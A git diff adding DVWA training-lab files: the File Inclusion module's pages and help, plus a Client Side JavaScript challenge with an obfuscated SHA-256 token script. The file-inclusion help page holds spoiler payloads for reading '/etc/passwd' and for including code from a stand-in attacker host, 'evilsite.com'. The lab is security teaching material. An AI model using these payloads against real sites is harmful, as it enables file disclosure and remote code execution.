    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "
    • +
    +\n"; + +?> diff --git a/DVWA/vulnerabilities/fi/file2.php b/DVWA/vulnerabilities/fi/file2.php new file mode 100644 index 00000000..c6e26bec --- /dev/null +++ b/DVWA/vulnerabilities/fi/file2.php @@ -0,0 +1,20 @@ + +

    Vulnerability: File Inclusion

    +
    +

    File 2

    +
    + \"I needed a password eight characters long so I picked Snow White and the Seven Dwarves.\" ~ Nick Helm

    + [back]
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "
    • +
    +\n"; + +?> diff --git a/DVWA/vulnerabilities/fi/file3.php b/DVWA/vulnerabilities/fi/file3.php new file mode 100644 index 00000000..c4997f6f --- /dev/null +++ b/DVWA/vulnerabilities/fi/file3.php @@ -0,0 +1,31 @@ + +

    Vulnerability: File Inclusion

    +
    +

    File 3

    +
    + Welcome back " . dvwaCurrentUser() . "
    + Your IP address is: {$_SERVER[ 'REMOTE_ADDR' ]}
    "; +if( array_key_exists( 'HTTP_X_FORWARDED_FOR', $_SERVER )) { + $page[ 'body' ] .= "Forwarded for: " . $_SERVER[ 'HTTP_X_FORWARDED_FOR' ]; + $page[ 'body' ] .= "
    "; +} + $page[ 'body' ] .= "Your user-agent address is: {$_SERVER[ 'HTTP_USER_AGENT' ]}
    "; +if( array_key_exists( 'HTTP_REFERER', $_SERVER )) { + $page[ 'body' ] .= "You came from: {$_SERVER[ 'HTTP_REFERER' ]}
    "; +} + $page[ 'body' ] .= "I'm hosted at: {$_SERVER[ 'HTTP_HOST' ]}

    + [back] +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "
    • +
    +\n"; + +?> diff --git a/DVWA/vulnerabilities/fi/file4.php b/DVWA/vulnerabilities/fi/file4.php new file mode 100644 index 00000000..9ccde4ba --- /dev/null +++ b/DVWA/vulnerabilities/fi/file4.php @@ -0,0 +1,14 @@ + +

    Vulnerability: File Inclusion

    +
    +

    File 4 (Hidden)

    +
    + Good job!
    + This file isn't listed at all on DVWA. If you are reading this, you did something right ;-)
    + +
    \n"; + +?> diff --git a/DVWA/vulnerabilities/fi/help/help.php b/DVWA/vulnerabilities/fi/help/help.php new file mode 100644 index 00000000..e9e71072 --- /dev/null +++ b/DVWA/vulnerabilities/fi/help/help.php @@ -0,0 +1,66 @@ +
    +

    Help - File Inclusion

    + +
    + + + + +
    +

    About

    +

    Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server. + At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing + the potential for malicious file execution.

    + +

    If the file chosen to be included is local on the target machine, it is called "Local File Inclusion (LFI). But files may also be included on other + machines, which then the attack is a "Remote File Inclusion (RFI).

    + +

    When RFI is not an option. using another vulnerability with LFI (such as file upload and directory traversal) can often achieve the same effect.

    + +

    Note, the term "file inclusion" is not the same as "arbitrary file access" or "file disclosure".

    + +


    + +

    Objective

    +

    Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.

    + +


    + +

    Low Level

    +

    This allows for direct input into one of many PHP functions that will include the content when executing.

    + +

    Depending on the web service configuration will depend if RFI is a possibility.

    +
    Spoiler: LFI: ?page=../../../../../../etc/passwd.
    +			Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.
    + +
    + +

    Medium Level

    +

    The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't enough.

    +
    Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.
    +			Spoiler: RFI: .
    + +
    + +

    High Level

    +

    The developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same basename, + they use a wildcard to include them all.

    +
    Spoiler: LFI: The filename only has start with a certain value..
    +			Spoiler: RFI: Need to link in another vulnerability, such as file upload.
    + +
    + +

    Impossible Level

    +

    The developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of attack.

    +
    + +
    + +
    + +

    Reference:

    +

    Reference:

    +

    Reference:

    +

    Reference:

    + +
    diff --git a/DVWA/vulnerabilities/fi/include.php b/DVWA/vulnerabilities/fi/include.php new file mode 100644 index 00000000..5e19b077 --- /dev/null +++ b/DVWA/vulnerabilities/fi/include.php @@ -0,0 +1,31 @@ +The PHP function allow_url_include is not enabled."; +} +if( !ini_get( 'allow_url_fopen' ) ) { + $WarningHtml .= "
    The PHP function allow_url_fopen is not enabled.
    "; +} + + +$page[ 'body' ] .= " +
    +

    Vulnerability: File Inclusion

    + + {$WarningHtml} + +
    + [file1.php] - [file2.php] - [file3.php] +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "
    • +
    +
    \n"; + +?> diff --git a/DVWA/vulnerabilities/fi/index.php b/DVWA/vulnerabilities/fi/index.php new file mode 100644 index 00000000..6a912ea8 --- /dev/null +++ b/DVWA/vulnerabilities/fi/index.php @@ -0,0 +1,44 @@ + diff --git a/DVWA/vulnerabilities/fi/source/high.php b/DVWA/vulnerabilities/fi/source/high.php new file mode 100644 index 00000000..6dd2fb2b --- /dev/null +++ b/DVWA/vulnerabilities/fi/source/high.php @@ -0,0 +1,13 @@ + diff --git a/DVWA/vulnerabilities/fi/source/impossible.php b/DVWA/vulnerabilities/fi/source/impossible.php new file mode 100644 index 00000000..2c38116b --- /dev/null +++ b/DVWA/vulnerabilities/fi/source/impossible.php @@ -0,0 +1,20 @@ + diff --git a/DVWA/vulnerabilities/fi/source/low.php b/DVWA/vulnerabilities/fi/source/low.php new file mode 100644 index 00000000..36063868 --- /dev/null +++ b/DVWA/vulnerabilities/fi/source/low.php @@ -0,0 +1,6 @@ + diff --git a/DVWA/vulnerabilities/fi/source/medium.php b/DVWA/vulnerabilities/fi/source/medium.php new file mode 100644 index 00000000..766f4121 --- /dev/null +++ b/DVWA/vulnerabilities/fi/source/medium.php @@ -0,0 +1,10 @@ + diff --git a/DVWA/vulnerabilities/help.css b/DVWA/vulnerabilities/help.css new file mode 100644 index 00000000..d0ce9da0 --- /dev/null +++ b/DVWA/vulnerabilities/help.css @@ -0,0 +1,3 @@ +#low_answer,#medium_answer,#high_answer { + display: none; +} diff --git a/DVWA/vulnerabilities/help.js b/DVWA/vulnerabilities/help.js new file mode 100644 index 00000000..1b36804b --- /dev/null +++ b/DVWA/vulnerabilities/help.js @@ -0,0 +1,11 @@ +function show_answer(which) { + var block = document.getElementById(which + "_answer"); + var button = document.getElementById(which + "_button"); + if (block.style.display === "" || block.style.display === "none") { + block.style.display = "block"; + button.innerText = "Hide Answer"; + } else { + block.style.display = "none"; + button.innerText = "Show Answer"; + } +} diff --git a/DVWA/vulnerabilities/javascript/help/help.php b/DVWA/vulnerabilities/javascript/help/help.php new file mode 100644 index 00000000..a679d2e4 --- /dev/null +++ b/DVWA/vulnerabilities/javascript/help/help.php @@ -0,0 +1,52 @@ +
    +

    Help - Client Side JavaScript

    + +
    +

    About

    +

    The attacks in this section are designed to help you learn about how JavaScript is used in the browser and how it can be manipulated. The attacks could be carried out by just analysing network traffic, but that isn't the point and it would also probably be a lot harder.

    + +
    + +

    Objective

    +

    Simply submit the phrase "success" to win the level. Obviously, it isn't quite that easy, each level implements different protection mechanisms, the JavaScript included in the pages has to be analysed and then manipulated to bypass the protections.

    + +
    +

    Low Level

    +

    All the JavaScript is included in the page. Read the source and work out what function is being used to generate the token required to match with the phrase and then call the function manually.

    +
    Spoiler: Change the phrase to success and then use the function generate_token() to update the token.
    + +


    + +

    Medium Level

    +

    + The JavaScript has been broken out into its own file and then minimized. You need to view the source for the included file and then work out what it is doing. Both Firefox and Chrome have a Pretty Print feature which attempts to reverse the compression and display code in a readable way. +

    +
    Spoiler: The file uses the setTimeout function to run the do_elsesomething function which generates the token.
    + +


    + +

    High Level

    +

    + The JavaScript has been obfuscated by at least one engine. You are going to need to step through the code to work out what is useful, what is garbage and what is needed to complete the mission. +

    +
    Spoiler: If it helps, two packers have been used, the first is from Dan's Tools and the second is the JavaScript Obfuscator Tool.
    +
    Spoiler 2: This deobfuscation tool seems to work the best on this code deobfuscate javascript.
    +
    Spoiler 3: This is one way to do it... run the obfuscated JS through a deobfuscation app, intercept the response for the obfuscated JS and swap in the readable version. Work out the flow and you will see three functions that need to be called in order. Call the functions at the right time with the right parameters.
    + +


    + +

    Impossible Level

    +

    You can never trust the user and have to assume that any code sent to the user can be manipulated or bypassed and so there is no impossible level.

    + +
    + +
    + +

    Reference:

    +
      +
    • +
    • +
    • +
    • +
    +
    diff --git a/DVWA/vulnerabilities/javascript/index.php b/DVWA/vulnerabilities/javascript/index.php new file mode 100644 index 00000000..65369bad --- /dev/null +++ b/DVWA/vulnerabilities/javascript/index.php @@ -0,0 +1,123 @@ +Well done!

    "; + } else { + $message = "

    Invalid token.

    "; + } + break; + case 'medium': + if ($token == strrev("XXsuccessXX")) { + $message = "

    Well done!

    "; + } else { + $message = "

    Invalid token.

    "; + } + break; + case 'high': + if ($token == hash("sha256", hash("sha256", "XX" . strrev("success")) . "ZZ")) { + $message = "

    Well done!

    "; + } else { + $message = "

    Invalid token.

    "; + } + break; + default: + $vulnerabilityFile = 'impossible.php'; + break; + } + } else { + $message = "

    You got the phrase wrong.

    "; + } + } else { + $message = "

    Missing phrase or token.

    "; + } +} + +if ( dvwaSecurityLevelGet() == "impossible" ) { +$page[ 'body' ] = << +

    Vulnerability: JavaScript Attacks

    + +
    +

    + You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level. +

    +EOF; +} else { +$page[ 'body' ] = << +

    Vulnerability: JavaScript Attacks

    + +
    +

    + Submit the word "success" to win. +

    + + $message + +
    + + + +
    +EOF; +} + +require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/javascript/source/{$vulnerabilityFile}"; + +$page[ 'body' ] .= << +EOF; + +$page[ 'body' ] .= " +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://www.w3schools.com/js/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=cs7EQdWO5o0&index=17&list=WL' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://ponyfoo.com/articles/es6-proxies-in-depth' ) . "
    • +
    +

    Module developed by Digininja.

    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/javascript/source/high.js b/DVWA/vulnerabilities/javascript/source/high.js new file mode 100644 index 00000000..30c3833a --- /dev/null +++ b/DVWA/vulnerabilities/javascript/source/high.js @@ -0,0 +1 @@ +var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M>2]|=s[M]<>2]|=r<>2]|=(2t|(r>>6))<>2]|=(R|(r&V))<=2E){l[i>>2]|=(2D|(r>>12))<>2]|=(R|((r>>6)&V))<>2]|=(R|(r&V))<>2]|=(2X|(r>>18))<>2]|=(R|((r>>12)&V))<>2]|=(R|((r>>6)&V))<>2]|=(R|(r&V))<=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{})); diff --git a/DVWA/vulnerabilities/javascript/source/high.php b/DVWA/vulnerabilities/javascript/source/high.php new file mode 100644 index 00000000..f37783d4 --- /dev/null +++ b/DVWA/vulnerabilities/javascript/source/high.php @@ -0,0 +1,3 @@ +'; +?> diff --git a/DVWA/vulnerabilities/javascript/source/high_unobfuscated.js b/DVWA/vulnerabilities/javascript/source/high_unobfuscated.js new file mode 100644 index 00000000..3db08e8a --- /dev/null +++ b/DVWA/vulnerabilities/javascript/source/high_unobfuscated.js @@ -0,0 +1,540 @@ +/** + * [js-sha256]{@link https://github.com/emn178/js-sha256} + * + * @version 0.9.0 + * @author Chen, Yi-Cyuan [emn178@gmail.com] + * @copyright Chen, Yi-Cyuan 2014-2017 + * @license MIT + */ +/*jslint bitwise: true */ +(function () { + 'use strict'; + + var ERROR = 'input is invalid type'; + var WINDOW = typeof window === 'object'; + var root = WINDOW ? window : {}; + if (root.JS_SHA256_NO_WINDOW) { + WINDOW = false; + } + var WEB_WORKER = !WINDOW && typeof self === 'object'; + var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node; + if (NODE_JS) { + root = global; + } else if (WEB_WORKER) { + root = self; + } + var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports; + var AMD = typeof define === 'function' && 